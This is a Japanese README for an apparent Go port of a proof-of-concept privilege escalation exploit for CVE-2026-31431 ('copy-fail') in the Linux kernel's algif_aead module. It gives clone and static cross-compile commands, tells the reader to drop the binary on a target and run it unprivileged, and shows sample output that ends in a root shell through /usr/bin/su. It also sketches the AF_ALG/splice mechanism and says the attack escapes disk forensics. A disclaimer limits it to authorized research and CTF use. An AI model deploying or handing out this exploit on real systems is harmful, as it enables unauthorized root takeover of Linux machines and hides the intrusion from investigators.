
Go版のCVE-2026-31431(copy-fail)Linuxカーネル権限昇格PoCで、自動SUIDバイナリ列挙と対話型ターゲット選択を備えています。
grenkoca氏のPython PoCをGoに移植したもので、CVE-2026-31431(copy-fail)に対応しています。
このバージョンは、ランタイム依存関係がゼロの完全な静的バイナリにコンパイルされます。Pythonもpipもlibcのバージョン制約も不要です。任意のLinuxターゲットに配置して実行するだけです。また、ターゲット上のすべてのSUIDワールドリーダブルバイナリを自動的に列挙し、対話形式でどのバイナリを悪用するかを選択できます。
認可されたセキュリティ研究およびCTF用途に限ります。
Theoriによって発見され、2026年4月29日に公開されたCopy.Failは、2017年の最適化で導入されたLinuxカーネルのalgif_aead暗号モジュールにおける論理的な欠陥です。2017年以降のすべての主要なLinuxディストリビューションに影響します。
カーネルのAF_ALG暗号インターフェースを操作することで、特権のない攻撃者が制御したデータをLinuxのページキャッシュ(信頼されたシステムバイナリのメモリ内表現)に直接書き込むことができます。これにより、/usr/bin/suなどのバイナリをディスク上のファイルを変更せずに一時的に乗っ取ることができ、ディスクベースのフォレンジックでは攻撃を検知できません。
レース条件やカーネルアドレスの漏洩に依存する多くのLPE脆弱性とは異なり、Copy.Failは非常に信頼性が高く、標準的なユーザーアカウントだけで一貫して動作します。
影響:
影響を受けるカーネル: 2017年以降のすべてのディストリビューション。具体的なバージョン範囲についてはgrenkoca氏のオリジナルPoCを参照してください。
| ツール | バージョン |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
-s -wフラグはデバッグ情報を削除してバイナリサイズを小さくします。CGO_ENABLED=0はlibc依存のない完全な静的バイナリを生成します。glibcのバージョンに関係なく、任意のLinuxターゲットに配置できます。
| ターゲット | コマンド |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32-bit x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
バイナリをターゲットに転送して実行します(root権限は不要です):
./copy-fail
実行例:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLYで開きます。書き込み権限は不要です。authencesn(hmac(sha256),cbc(aes)) AEADトランスフォームにバインドされたAF_ALG(SOCK_SEQPACKET)ソケットを作成します。MSG_MOREとSOL_ALG制御メッセージを含む細工されたsendmsgを送信し、ターゲットファイルのページキャッシュエントリに対する暗号操作をキューに入れます。splice(2)を使用してファイルからALGソケットへページを移動し、ファイル権限を再チェックせずに変更されたページキャッシュページを書き戻す脆弱なカーネルパスをトリガーします。| オリジナル(Python) | このリポジトリ(Go) |
|---|
| 言語 | Python 3 | Go 1.21+ |
| ターゲット | /usr/bin/suにハードコード | ライブファイルシステムスキャンから自動検出 |
| ターゲット選択 | なし | 対話形式の番号付きメニュー |
| 配布形態 | スクリプト | 単一の静的バイナリ(ランタイム依存なし) |